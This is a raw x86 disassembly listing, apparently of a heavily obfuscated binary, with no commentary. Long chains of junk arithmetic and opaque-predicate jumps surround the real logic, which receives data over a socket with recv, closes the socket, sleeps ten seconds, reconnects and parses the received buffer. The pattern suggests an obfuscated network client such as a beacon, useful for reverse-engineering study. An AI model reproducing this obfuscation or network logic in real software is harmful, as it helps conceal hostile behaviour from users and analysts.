xor eax, 0x4a4384d1
xor eax, 0x76b0a0de
or eax, 0x67aba0a3
add eax, 0x2d694a72
add eax, 0xdb014bbf
mov ecx, 0xecf33894
xor edx, edx
div ecx
or eax, 0x88976fc8
sub eax, 0xa2f7f9ed
add eax, 0x45163a23
and eax, 0x9d7a58d9
mov ecx, 0x60db0c38
xor edx, edx
div ecx
xor eax, 0x63923a
cmp eax, 0xe363ac6e
ja 0x100b9c94
mov eax, dword [0x10143bfc]
or eax, dword [0x10143c00]
and eax, 0x9f182f3e
and eax, 0x4f80a54f
or eax, 0x3f761d4c
or eax, 0xa3aaa72f
xor eax, 0xb47b8a23
or eax, 0xf0e8264b
sub eax, 0xa8a53831
or eax, 0x360e7728
or eax, 0x54e6c2b3
mov ecx, 0xb9cc16bb
xor edx, edx
div ecx
imul eax, eax, 0x1f08aca4
and eax, 0xa98cf195
add eax, 0x18e2173e
mov ecx, 0x56096791
xor edx, edx
div ecx
sub eax, 0xdd7d8daf
or eax, 0xaaa2865d
sub eax, 0xb5f10022
mov ecx, 0xa2c43a04
xor edx, edx
div ecx
mov ecx, 0x93b0f39a
xor edx, edx
div ecx
imul eax, eax, 0xf74addb6
cmp eax, 0x18b788eb
je 0x100b9c94
mov al, byte [esi + 0x67]
test al, 1
jne 0x100b51b9
jmp 0x100b53e3
mov eax, dword [0x10143c04]
add eax, dword [0x10143c08]
add eax, 0x2bd2ea1b
sub eax, 0xea9cace4
sub eax, 0x91c7deaf
xor eax, 0x10f0b3a3
and eax, 0x70947baf
mov ecx, 0x2adb016e
xor edx, edx
div ecx
mov ecx, 0x65d0e886
xor edx, edx
div ecx
or eax, 0x271e28c5
imul eax, eax, 0xc1ca3fc7
add eax, 0x440ab62
add eax, 0x375bff14
sub eax, 0x48acfb6d
imul eax, eax, 0x5e211411
imul eax, eax, 0x5efa2808
mov ecx, 0x3035c6e6
xor edx, edx
div ecx
or eax, 0x21629c41
add eax, 0xb76f1248
and eax, 0xe1dae5c4
and eax, 0xa45367ed
imul eax, eax, 0x3519f5e3
cmp eax, 0x92e94f6f
jae 0x100b84ad
mov ecx, dword [esi + 0x8c]
mov eax, dword [0x10143c0c]
or eax, dword [0x10143c10]
xor eax, 0x7bb9ad9f
add eax, 0xbaaddc22
and eax, 0xb7f3f87e
imul eax, eax, 0xf7bfc87f
or eax, 0x47754676
imul eax, eax, 0x7cdb2c6f
xor eax, 0xd5cf4108
add eax, 0x7e2ca42d
or eax, 0xe18b4c35
or eax, 0x7bacae1a
mov edi, 0x2e1aca73
xor edx, edx
div edi
xor eax, 0x569428da
sub eax, 0xf859e426
xor eax, 0x91057651
and eax, 0x984c83a6
and eax, 0x54faba83
sub eax, 0x5c5e9fc3
mov edi, 0x6bbc4424
xor edx, edx
div edi
or eax, 0x9d3f369
xor eax, 0xefad462
mov dword [ecx], 0
cmp eax, 0x6d41a868
jae 0x100b84ad
mov eax, dword [0x10143c14]
sub eax, dword [0x10143c18]
sub eax, 0xe1ac27f3
imul eax, eax, 0xb2875fa5
mov ecx, 0xb587de7d
xor edx, edx
div ecx
and eax, 0x202f592e
imul eax, eax, 0xa8ce5853
mov ecx, 0x254a29e6
xor edx, edx
div ecx
xor eax, 0xa53c107e
xor eax, 0x42b075e9
or eax, 0xe82fb4e7
mov ecx, 0xb7bb3874
xor edx, edx
div ecx
add eax, 0x46c3da3d
sub eax, 0x29666b36
xor eax, 0x7703370d
sub eax, 0xa06a5262
sub eax, 0xf951f555
xor eax, 0x77192b19
imul eax, eax, 0x2b5e796f
sub eax, 0x7f54ca44
mov ecx, 0x8f4d1015
xor edx, edx
div ecx
xor eax, 0xcf8d2f84
cmp eax, 0x79f9f220
je 0x100b9c99
mov eax, dword [0x10143c1c]
imul eax, dword [0x10143c20]
sub eax, 0x532ff590
sub eax, 0x96c3ac77
add eax, 0x545873eb
sub eax, 0xdfb12adb
sub eax, 0x5e4cde6a
sub eax, 0xf41fdcfe
xor eax, 0xb7529e35
add eax, 0x11481fb8
xor eax, 0xf4559799
imul eax, eax, 0x27b8fc5a
and eax, 0xd8c2bf40
or eax, 0x225c085a
or eax, 0x15eea4b1
add eax, 0xbaccc00
imul eax, eax, 0x8d5bdbea
imul eax, eax, 0x9f965313
sub eax, 0x84a55db6
and eax, 0xd5051c89
sub eax, 0x46c7ba77
sub eax, 0x92251f13
cmp eax, 0xe08e605f
ja 0x100b5360
jmp 0x100b7b94
mov eax, dword [0x10143c24]
add eax, dword [0x10143c28]
and eax, 0xf9fc0078
sub eax, 0xf427658e
or eax, 0x52bb01cb
add eax, 0xaed837e2
xor eax, 0x8b1728c
xor eax, 0x18ceab32
xor eax, 0x1ecfcc83
or eax, 0xee31bc34
and eax, 0x25e7fef0
sub eax, 0x23d7c4d5
and eax, 0x9192b202
mov ecx, 0xdad3b3ba
xor edx, edx
div ecx
xor eax, 0x12418a3a
xor eax, 0xe97d810c
mov ecx, 0xde319f78
xor edx, edx
div ecx
or eax, 0x770ade61
or eax, 0x968cc351
mov ecx, 0xd97d3210
xor edx, edx
div ecx
mov ecx, 0xe0264bbc
xor edx, edx
div ecx
or eax, 0x8b66e313
cmp eax, 0x160bbc89
je 0x100b85d9
mov edi, dword [esi + 0x140]
mov ebx, dword [esi + 0x13c]
mov eax, dword [0x10143c2c]
xor eax, dword [0x10143c30]
mov ecx, 0xfc17932
xor edx, edx
div ecx
imul eax, eax, 0xb5069f6a
imul eax, eax, 0xdd6c87c8
sub eax, 0xfd567e0c
sub eax, 0x8685b329
mov ecx, 0x33dc33e7
xor edx, edx
div ecx
or eax, 0x3aa61942
add eax, 0x9fdfb902
sub eax, 0xee82b104
and eax, 0x4d57087f
or eax, 0x4414e436
and eax, 0x90a25e03
mov ecx, 0xa15a528a
xor edx, edx
div ecx
mov ecx, 0xfbdbbd9b
xor edx, edx
div ecx
add eax, 0x7a302748
mov ecx, 0x6ccb9e75
xor edx, edx
div ecx
sub eax, 0x1bbab396
add eax, 0xa32d9b68
xor eax, 0xcd953f2c
mov ecx, 0xbc6639b7
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x138]
mov dword [esi + 0x58], ecx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100e6cf0
mov edx, dword [esi + 0x144]
mov ecx, dword [esi + 0x14c]
mov eax, dword [esi + 0x58]
add esp, 0xc
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 1
mov dword [ecx], 0
cmp eax, 0x9b5953b2
ja 0x100b85d9
mov eax, dword [0x10143c34]
and eax, dword [0x10143c38]
mov ecx, 0xa3a3d71f
xor edx, edx
div ecx
xor eax, 0x6ae13d4f
and eax, 0x8b5640f7
mov ecx, 0xc255fd61
xor edx, edx
div ecx
imul eax, eax, 0x2c7de1d
or eax, 0x19a19713
sub eax, 0x380958d6
and eax, 0xc6a225bf
or eax, 0x2ce3b2f9
sub eax, 0xda661ef9
mov ecx, 0xa6d14fe4
xor edx, edx
div ecx
add eax, 0x58dc0fb9
imul eax, eax, 0x8b995da0
or eax, 0xe2fb1533
or eax, 0xa506e00b
imul eax, eax, 0x2005e341
sub eax, 0x5b3bcc7e
xor eax, 0xe6119769
and eax, 0x7e83a130
imul eax, eax, 0xfae65db3
cmp eax, 0xa2ea6a7f
jb 0x100b9c9e
mov eax, dword [0x10143c3c]
or eax, dword [0x10143c40]
and eax, 0x3c84b29c
or eax, 0xad91f528
xor eax, 0x72676848
xor eax, 0x654dafa2
imul eax, eax, 0x353f98d3
add eax, 0x4c644ccc
imul eax, eax, 0xd0ac9f82
xor eax, 0xc8173eb8
or eax, 0x13bf0254
sub eax, 0xaa8bb3ba
xor eax, 0xf1d8f84f
imul eax, eax, 0x9568c221
xor eax, 0x3542bba0
sub eax, 0xc789f094
imul eax, eax, 0x56610fba
mov ecx, 0x6fb2bbe0
xor edx, edx
div ecx
sub eax, 0x447b0de1
add eax, 0xc7701e9a
add eax, 0xe25e928f
and eax, 0xfa6e7142
cmp eax, 0x7a82ee9e
ja 0x100b9c9e
jmp 0x100b5670
mov eax, dword [0x10143c44]
or eax, dword [str._aVRW]
sub eax, 0x44723c0e
xor eax, 0xdd82e7ea
mov ecx, 0x757d1579
xor edx, edx
div ecx
add eax, 0x98b14c3d
and eax, 0x3422b811
add eax, 0x63c78823
and eax, 0xe542f610
or eax, 0x3ae79459
sub eax, 0xd259746
sub eax, 0x180e9e95
or eax, 0xec89388f
and eax, 0x1b916388
or eax, 0x80f9a883
add eax, 0xd2954a0b
mov ecx, 0x53695b1
xor edx, edx
div ecx
and eax, 0xebeb9c0a
or eax, 0x2941067d
xor eax, 0x6bc18bd4
or eax, 0x455aa651
mov ecx, 0xd4cccf7b
xor edx, edx
div ecx
cmp eax, 0x775deeba
ja 0x100b9ca3
mov eax, dword [0x10143c4c]
xor eax, dword [0x10143c50]
sub eax, 0xbd90b56f
and eax, 0xac5689b3
sub eax, 0x149aa157
and eax, 0xa339f400
and eax, 0xd7278bfa
imul eax, eax, 0x93e37c36
add eax, 0x3da16606
or eax, 0x7f64623f
sub eax, 0x6f165a39
and eax, 0xad59e3e2
or eax, 0xc7d3bb69
sub eax, 0xc2a115f4
xor eax, 0xefe1018c
mov ecx, 0x7d5ffc6b
xor edx, edx
div ecx
and eax, 0xb12da72b
imul eax, eax, 0x9e28989e
xor eax, 0xd4f3e01c
sub eax, 0xd70aa79e
add eax, 0x401aade6
imul eax, eax, 0x5f17e8e2
cmp eax, 0xb32a610e
je 0x100b56f6
mov eax, dword [0x10143c54]
and eax, dword [0x10143c58]
or eax, 0xf433a9ae
imul eax, eax, 0x47ee05c6
sub eax, 0xadf2884d
imul eax, eax, 0x8b806f86
and eax, 0x9b8225c6
sub eax, 0xa38e1826
and eax, 0x9660f3d3
or eax, 0x4078910c
sub eax, 0x3ca5ad37
or eax, 0x7abca9df
imul eax, eax, 0xbc717c3c
or eax, 0xd195928d
or eax, 0x4002d2e
imul eax, eax, 0xfe31768e
and eax, 0x23d9b664
sub eax, 0x622b0e79
xor eax, 0x52caf1ba
or eax, 0x8f8a7b21
imul eax, eax, 0xcbe4ac0d
add eax, 0xb35bd6a6
cmp eax, 0x30268685
jb 0x100b8751
mov eax, dword [0x10143c5c]
or eax, dword [0x10143c60]
sub eax, 0x7c9caa20
and eax, 0xd53fedd2
add eax, 0x191c3388
sub eax, 0xc0f99257
or eax, 0x6eb2761b
imul eax, eax, 0xe90fd2f3
mov ecx, 0xf02a2610
xor edx, edx
div ecx
imul eax, eax, 0xe2773723
or eax, 0x74e8520
add eax, 0x9c791673
xor eax, 0x5b33d51
or eax, 0xa6df1f59
mov ecx, 0x7e821321
xor edx, edx
div ecx
and eax, 0x6b923804
and eax, 0x1d0a745c
and eax, 0xc1d53be3
xor eax, 0xa472d1ab
mov ecx, 0xd6111b5d
xor edx, edx
div ecx
sub eax, 0xb512c6d4
or eax, 0xcd0f38bf
cmp eax, 0x1909787c
jbe 0x100b9ca8
mov ecx, dword [esi + 0x128]
mov eax, dword [0x10143c64]
add eax, dword [0x10143c68]
or eax, 0xdefd018b
xor eax, 0x9aa4f6
imul eax, eax, 0x9853a6e0
imul eax, eax, 0x87df9251
imul eax, eax, 0x87a6327a
add eax, 0xe652f698
xor eax, 0xf3209a33
imul eax, eax, 0x37e251f4
imul eax, eax, 0xfefe7916
xor eax, 0x6a6b0812
xor eax, 0xf7d1105f
xor eax, 0xcf66d611
imul eax, eax, 0xfd99a2c6
sub eax, 0xd8cbb9ac
sub eax, 0xb689cb08
or eax, 0x8c42073a
and eax, 0x82a4642c
and eax, 0xa9f2a131
or eax, 0x9a02059c
mov edi, 0xe4aca79e
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0x138]
mov dword [esi + 0x50], edx
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0x13c]
mov ecx, dword [esi + 0x138]
mov edi, eax
mov eax, dword [esi + 0x150]
mov dword [edx], edi
mov edx, dword [0x1013a101]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100a9310
mov ecx, dword [esi + 0x154]
add esp, 8
mov edx, eax
mov eax, dword [esi + 0x50]
mov dword [ecx], edx
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x57], cl
cmp eax, 0x1b4ce4d3
je 0x100b587e
mov eax, dword [0x10143c6c]
and eax, dword [0x10143c70]
and eax, 0xc87163ea
xor eax, 0x48221313
mov ecx, 0x1b4e8c7c
xor edx, edx
div ecx
sub eax, 0x1d97b63c
and eax, 0xc8104d4a
and eax, 0x15e1ac33
sub eax, 0x3b510d8a
mov ecx, 0x6f8c3388
xor edx, edx
div ecx
imul eax, eax, 0xf19499e3
and eax, 0x705a3a4f
imul eax, eax, 0x806217bb
sub eax, 0x4aba0f45
add eax, 0x6698cfd9
xor eax, 0x2a3c3f0b
sub eax, 0xaf5dd700
or eax, 0xe43df028
and eax, 0xcc07e913
or eax, 0x39525441
sub eax, 0x1c5ce3f1
mov ecx, 0x2cba956f
xor edx, edx
div ecx
cmp eax, 0x41d519fa
jae 0x100b57f6
mov eax, dword [0x10143c74]
xor eax, dword [0x10143c78]
and eax, 0x2623b393
and eax, 0xad63340b
mov ecx, 0x2b7df71a
xor edx, edx
div ecx
mov ecx, 0xbe1ec2b4
xor edx, edx
div ecx
mov ecx, 0xdef446ff
xor edx, edx
div ecx
xor eax, 0xdf15e841
xor eax, 0xfaee491a
sub eax, 0x8b5b599c
xor eax, 0x56d4a4db
or eax, 0x52cf2294
sub eax, 0x1957f6b7
imul eax, eax, 0xad55dca3
or eax, 0xcb3baca1
sub eax, 0xd62bebf0
xor eax, 0x8f95dc3c
mov ecx, 0x2cc7a60f
xor edx, edx
div ecx
imul eax, eax, 0xb6336e66
sub eax, 0x4de44806
sub eax, 0xdce45a0f
and eax, 0x79e3117d
cmp eax, 0x5b456bad
jbe 0x100b9d17
mov eax, dword [0x10143c7c]
xor eax, dword [0x10143c80]
sub eax, 0x61d807ee
imul eax, eax, 0x21f75474
and eax, 0x2c4ef3c2
imul eax, eax, 0xe9b07e65
xor eax, 0x11122de6
or eax, 0x411a4fed
imul eax, eax, 0x5e94ce02
mov ecx, 0xd047da65
xor edx, edx
div ecx
or eax, 0x9fb90f8e
xor eax, 0x9b49b7a6
add eax, 0xcc46b66f
mov ecx, 0x88af8937
xor edx, edx
div ecx
xor eax, 0xfe5f99f
add eax, 0xab33d82b
and eax, 0x5c485a2e
add eax, 0xe7ed7d0d
add eax, 0x1bd4834c
imul eax, eax, 0x884f0876
add eax, 0x8b7ef110
xor eax, 0x76c76912
cmp eax, 0xffa5de0
je 0x100b5a91
mov al, byte [esi + 0x57]
test al, 1
jne 0x100b5b27
jmp 0x100b5ec5
mov eax, dword [0x10143c84]
or eax, dword [0x10143c88]
or eax, 0x4eaad3
imul eax, eax, 0xad35e08f
and eax, 0x4b421b18
mov ecx, 0xf399914b
xor edx, edx
div ecx
or eax, 0x2c5854cb
sub eax, 0x5dfccea7
or eax, 0x7beb3ec
or eax, 0x76889044
sub eax, 0x686e19f
mov ecx, 0xcf3d675b
xor edx, edx
div ecx
mov ecx, 0xd9ec7af3
xor edx, edx
div ecx
add eax, 0x5644b55a
and eax, 0x9c2646bc
add eax, 0xb54d3746
xor eax, 0x4a233791
imul eax, eax, 0x558c9bd8
or eax, 0x3672649d
mov ecx, 0xc02ae2b4
xor edx, edx
div ecx
and eax, 0xe3f06474
add eax, 0xcbae7dda
cmp eax, 0xa89f1e91
je 0x100b9d1c
mov eax, dword [0x10143c8c]
imul eax, dword [0x10143c90]
add eax, 0x10d62546
add eax, 0x867e2a06
imul eax, eax, 0x549bdf64
imul eax, eax, 0xb4abf049
xor eax, 0x2efca834
xor eax, 0xb67aadb
or eax, 0xee5e5c0a
or eax, 0x4c93c688
sub eax, 0xd2b3e277
sub eax, 0x3a5b7a9a
xor eax, 0xf6321f35
mov ecx, 0xc8cbbfda
xor edx, edx
div ecx
sub eax, 0x2592851b
or eax, 0x12e36e59
and eax, 0x750bb5a
and eax, 0x5fcdfe45
and eax, 0xb4094aa5
add eax, 0x3bd84020
or eax, 0x7b91facc
mov ecx, 0x17ec60a6
xor edx, edx
div ecx
cmp eax, 0x1537ce67
je 0x100b9d1c
mov eax, dword [0x10143c94]
sub eax, dword [0x10143c98]
or eax, 0xd06e3fb4
imul eax, eax, 0xfa6e62e9
add eax, 0x59a9ca14
imul eax, eax, 0xf6f08ab7
and eax, 0x63f0adf0
add eax, 0x42603d25
imul eax, eax, 0x17c118da
and eax, 0xb09d5e67
imul eax, eax, 0x8b3652bb
mov ecx, 0x604db989
xor edx, edx
div ecx
add eax, 0x29802f8f
or eax, 0x78373339
and eax, 0x6699bc33
imul eax, eax, 0x2f80e49c
add eax, 0xeff135cc
sub eax, 0x42f36314
sub eax, 0x2be6b606
add eax, 0x77b72dd3
imul eax, eax, 0x8e6c4a05
mov ecx, 0x99364051
xor edx, edx
div ecx
cmp eax, 0x1e79b1bb
ja 0x100b87c0
mov eax, dword [0x10143c9c]
sub eax, dword [0x10143ca0]
imul eax, eax, 0xc7ac597d
add eax, 0x40e7b7c0
sub eax, 0xce2f7e7d
and eax, 0xae566e2a
mov ecx, 0xbaf21733
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esi + 0x128]
imul ecx, ecx, 0xe1bd78ca
and ecx, 0x4b1ad67f
sub ecx, 0xea5a4090
xor ecx, 0x3aa9f156
xor ecx, 0x487c6d87
imul ecx, ecx, 0x36f2c6db
and ecx, 0xcaa7c6d5
add ecx, 0x24e1a177
xor ecx, 0xe7a978bc
xor ecx, 0xac993642
imul ecx, ecx, 0xc4bbb5cf
add ecx, 0x6a9fc0e5
and ecx, 0x186cc696
and ecx, 0x20e61cd7
or ecx, 0xb7b979a3
mov dword [esi + 0x4c], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x90]
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0x98]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100b2910
mov ecx, dword [esi + 0x8c]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x4c]
mov dword [ecx], edx
cmp eax, 0xd4912d1f
ja 0x100b87c0
mov eax, dword [0x10143ca4]
add eax, dword [0x10143ca8]
add eax, 0xc2afd224
and eax, 0x677b52ae
sub eax, 0x62046cd4
xor eax, 0x7cff5310
and eax, 0x78aada7
sub eax, 0x230736b3
mov ecx, 0xab06f72f
xor edx, edx
div ecx
or eax, 0x1d563ada
xor eax, 0x41fde427
or eax, 0xe8749002
and eax, 0x174f67f
xor eax, 0x218db09f
or eax, 0x65012168
xor eax, 0xfc44996
and eax, 0xe10f84ab
xor eax, 0xd5337c15
add eax, 0x56c6744b
add eax, 0xb928d5f1
mov ecx, 0x93ddbedc
xor edx, edx
div ecx
xor eax, 0x9ecb3e2
cmp eax, 0x1870b463
je 0x100b9d21
mov eax, dword [0x10143cac]
add eax, dword [0x10143cb0]
xor eax, 0xeeb2bcec
imul eax, eax, 0x81a3bbbd
imul eax, eax, 0xd1f9c55
xor eax, 0xba5c125
mov ecx, 0x1198ec5f
xor edx, edx
div ecx
or eax, 0x1d46a660
mov ecx, 0xd2ce801d
xor edx, edx
div ecx
add eax, 0xf5e669bc
sub eax, 0x82a487ef
add eax, 0xfdf2ded3
xor eax, 0x72fbc5a9
mov ecx, 0x91a16bc5
xor edx, edx
div ecx
or eax, 0x2679fbb3
mov ecx, 0xc36928ae
xor edx, edx
div ecx
or eax, 0x2c94eb71
and eax, 0xa30919a3
xor eax, 0x72f174e9
add eax, 0xcf176bd1
xor eax, 0xb807904c
sub eax, 0x7e3fec7d
cmp eax, 0xba54162d
ja 0x100b9d21
jmp 0x100b7b94
mov eax, dword [0x10143cb4]
imul eax, dword [0x10143cb8]
sub eax, 0x8183edb6
add eax, 0xfddadce1
and eax, 0xdfd1cd3c
imul eax, eax, 0xc8434ce2
sub eax, 0x52fb2dc7
xor eax, 0x41e3ab88
or eax, 0x4307c9eb
or eax, 0x4cbb51c7
imul eax, eax, 0x429708c0
imul eax, eax, 0xc8abafb4
mov ecx, 0xf5915238
xor edx, edx
div ecx
and eax, 0xad9bf3a4
mov ecx, 0x7c9d3c56
xor edx, edx
div ecx
or eax, 0xc9c08112
and eax, 0xab7ee18d
or eax, 0x4e9e028d
add eax, 0x4964db27
mov ecx, 0x87b34277
xor edx, edx
div ecx
and eax, 0x36758321
sub eax, 0x5059195f
cmp eax, 0xfdc7d99c
je 0x100b9d26
mov eax, dword [0x10143cbc]
xor eax, dword [0x10143cc0]
sub eax, 0x39526df9
xor eax, 0x3ffdce20
add eax, 0x108488c0
xor eax, 0x34816cab
and eax, 0xc8d2a486
mov ecx, 0x557558b4
xor edx, edx
div ecx
imul eax, eax, 0x7de4432c
sub eax, 0x718905d4
imul eax, eax, 0xb4224a68
and eax, 0xf5484b6
sub eax, 0x44f9d3c0
sub eax, 0x82318648
and eax, 0x85c137f6
and eax, 0x4a370f08
sub eax, 0x852c1160
and eax, 0x2c405e4
and eax, 0x3063f826
sub eax, 0x117a6994
mov ecx, 0xe3c6c0b2
xor edx, edx
div ecx
imul eax, eax, 0x5189cfcd
mov dword [esi + 0x44], eax
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.100495a0
mov ecx, dword [esi + 0x144]
add esp, 0xc
mov eax, dword [esi + 0x44]
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x4b], cl
cmp eax, 0x89414bc2
ja 0x100b5f4f
mov al, byte [esi + 0x4b]
test al, 1
jne 0x100b601b
jmp 0x100b62f4
mov eax, dword [0x10143cc4]
xor eax, dword [0x10143cc8]
imul eax, eax, 0x9b0e31fb
sub eax, 0xce6add35
add eax, 0x94d56ef7
imul eax, eax, 0x95347894
or eax, 0x7a4a2198
xor eax, 0x3d8d4e40
and eax, 0xf570b4e9
and eax, 0x92008c6d
imul eax, eax, 0x9efdd2bc
add eax, 0x678c03a3
or eax, 0x99455b8a
imul eax, eax, 0x112081d8
sub eax, 0x7b383cc8
or eax, 0xc7ab3bb4
add eax, 0xc81495b1
xor eax, 0x610c95d5
imul eax, eax, 0x951f55a
sub eax, 0xa2563875
and eax, 0xccf604f2
xor eax, 0x7c4dc22f
cmp eax, 0xe9a874ca
jae 0x100b8821
mov eax, dword [0x10143ccc]
xor eax, dword [0x10143cd0]
add eax, 0x7470abea
sub eax, 0x2f2b9c6
and eax, 0xe4bb5363
or eax, 0xd6fc2a42
sub eax, 0xc38a3ca6
xor eax, 0x962d78b4
add eax, 0xdae8ca14
xor eax, 0x8b516714
xor eax, 0x687cf4db
mov ecx, 0x8c02178c
xor edx, edx
div ecx
sub eax, 0xea851446
or eax, 0x3dde74b3
sub eax, 0xbd776861
xor eax, 0xbe21c788
mov ecx, 0x27f454e2
xor edx, edx
div ecx
xor eax, 0x3b5f9499
mov ecx, 0x7e3c1e83
xor edx, edx
div ecx
imul eax, eax, 0x76be2ca1
or eax, 0x727eb91c
mov ecx, 0x2df0049d
xor edx, edx
div ecx
cmp eax, 0x46aec93d
jae 0x100b9d4d
mov ecx, dword [esi + 0x90]
mov eax, dword [0x10143cd4]
xor eax, dword [0x10143cd8]
mov edi, 0x664a70a5
xor edx, edx
div edi
mov edi, 0x8b33b0b
xor edx, edx
div edi
and eax, 0xd60e9dc8
xor eax, 0x2ebc8e05
sub eax, 0x5d50bd46
mov edi, 0x43f862be
xor edx, edx
div edi
or eax, 0xb87d5fba
mov edi, 0x56cb6a0e
xor edx, edx
div edi
xor eax, 0xf1eddda1
xor eax, 0x61f86fb8
add eax, 0xa0096fb4
and eax, 0x788002a2
add eax, 0x71207609
and eax, 0x761269eb
and eax, 0x9fd43630
or eax, 0x486d78d6
add eax, 0x4b2771d7
imul eax, eax, 0x74a06afe
imul eax, eax, 0x87dba8b4
mov edi, 0xc4befa9a
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0x138]
mov dword [esi + 0x40], edx
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1008fda0
mov ecx, dword [esi + 0x148]
mov edx, dword [esi + 0x90]
add esp, 0xc
mov eax, dword [esi + 0x138]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1008fda0
add esp, 0xc
mov eax, dword [esi + 0x90]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.100e3321
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x94]
mov eax, dword [eax]
mov dword [eax], ecx
sub esp, 8
mov dword [esp], 0x2a
mov dword [esp + 4], 0x10
call fcn.1008b5d0
add esp, 8
mov eax, dword [esi + 0x40]
cmp eax, 0x83053e33
jae 0x100b6125
mov eax, dword [0x10143cdc]
sub eax, dword [0x10143ce0]
xor eax, 0x747bedd6
and eax, 0x69875646
sub eax, 0x65c578a5
xor eax, 0x90bc1b16
and eax, 0x71b9b70
and eax, 0xddd2dd40
mov ecx, 0xacfb6ad6
xor edx, edx
div ecx
and eax, 0xaeda7f87
mov ecx, 0xb0ad144d
xor edx, edx
div ecx
and eax, 0x68b2299d
xor eax, 0xd696cf19
imul eax, eax, 0x6129f1db
sub eax, 0x1a4bd9f5
or eax, 0x9bed9c51
add eax, 0xa59cddc5
or eax, 0xc2eea8bd
add eax, 0xc09dde3e
add eax, 0xa1895b11
mov ecx, 0x98e55155
xor edx, edx
div ecx
or eax, 0x880a7872
cmp eax, 0xb858a95f
jae 0x100b8821
jmp 0x100b62f4
mov eax, dword [esi + 0x158]
mov dword [eax], 0
mov eax, dword [0x10143ce4]
and eax, dword [0x10143ce8]
sub eax, 0x1b799f53
imul eax, eax, 0x30527cc5
mov ecx, 0xaa994c7d
xor edx, edx
div ecx
sub eax, 0xfa0f82d8
or eax, 0x59cea568
sub eax, 0x523dc25a
or eax, 0x9de0e30e
add eax, 0x2704d6ac
add eax, 0x41f8621d
add eax, 0xc1dfd2e5
mov ecx, 0x585ea43f
xor edx, edx
div ecx
sub eax, 0x577d7585
add eax, 0x539eb3a8
and eax, 0xe74f17d9
mov ecx, 0xff6f1834
xor edx, edx
div ecx
sub eax, 0xbfc97867
and eax, 0x857f8fe2
imul eax, eax, 0x72e26a55
imul eax, eax, 0xce52e274
or eax, 0xcb3d8487
cmp eax, 0xe2a7aedf
jbe 0x100b9dfd
mov eax, dword [0x10143cec]
imul eax, dword [0x10143cf0]
imul eax, eax, 0x46b4b685
and eax, 0xa10d550c
add eax, 0x1614c80d
or eax, 0x69f2aa5f
sub eax, 0xbb7e0f5b
imul eax, eax, 0x794439e8
sub eax, 0x73f2db16
mov ecx, 0x29fe89f2
xor edx, edx
div ecx
mov ecx, 0x8b722828
xor edx, edx
div ecx
add eax, 0x1a675691
add eax, 0x14dcd16f
xor eax, 0x715af1ef
or eax, 0x7ca1ad87
or eax, 0xca3539d0
xor eax, 0x1ce37798
xor eax, 0x248cfb71
xor eax, 0x2b335b94
sub eax, 0xa84ef051
or eax, 0xe0435bd4
add eax, 0x2d6d1228
cmp eax, 0x78eb42bb
jae 0x100b6389
mov eax, dword [0x10143cf4]
xor edx, edx
div dword [0x10143cf8]
add eax, 0xc9c5f7c9
add eax, 0x5659d9e2
sub eax, 0x40147791
mov ecx, 0x549ad0b6
xor edx, edx
div ecx
sub eax, 0x48abc498
imul eax, eax, 0x4b7a1a55
or eax, 0x694f7df
mov ecx, 0x25818417
xor edx, edx
div ecx
add eax, 0x5838241e
and eax, 0xd929b287
sub eax, 0x14833f20
xor eax, 0x5fbe628a
mov ecx, 0x651afa0d
xor edx, edx
div ecx
mov ecx, 0xd4f67b4c
xor edx, edx
div ecx
mov ecx, 0xcdbd6139
xor edx, edx
div ecx
sub eax, 0x379103e0
sub eax, 0x4a131612
imul eax, eax, 0x1671b270
or eax, 0x2a85eaae
xor eax, 0x7ec55b59
cmp eax, 0x4c56e341
je 0x100b89ef
mov eax, dword [0x10143cfc]
or eax, dword [0x10143d00]
imul eax, eax, 0xf28f520f
mov ecx, 0xea95ed66
xor edx, edx
div ecx
add eax, 0x4637f7f2
add eax, 0xb73d0999
or eax, 0x6d97b87a
imul eax, eax, 0x79b65ac7
mov ecx, 0x356b1921
xor edx, edx
div ecx
xor eax, 0xdaada032
xor eax, 0xb4199a1e
mov ecx, 0x82c87bcc
xor edx, edx
div ecx
sub eax, 0x5fe9548b
mov ecx, 0x38f0f6c1
xor edx, edx
div ecx
imul eax, eax, 0x22fa5f6b
or eax, 0x8fc9855e
imul eax, eax, 0x9259e276
imul eax, eax, 0x28851a9e
imul eax, eax, 0xc72ee101
mov ecx, 0xed13c181
xor edx, edx
div ecx
and eax, 0xa4a7fa2c
add eax, 0x3e385ef1
cmp eax, 0x8b8440c2
jae 0x100b9e02
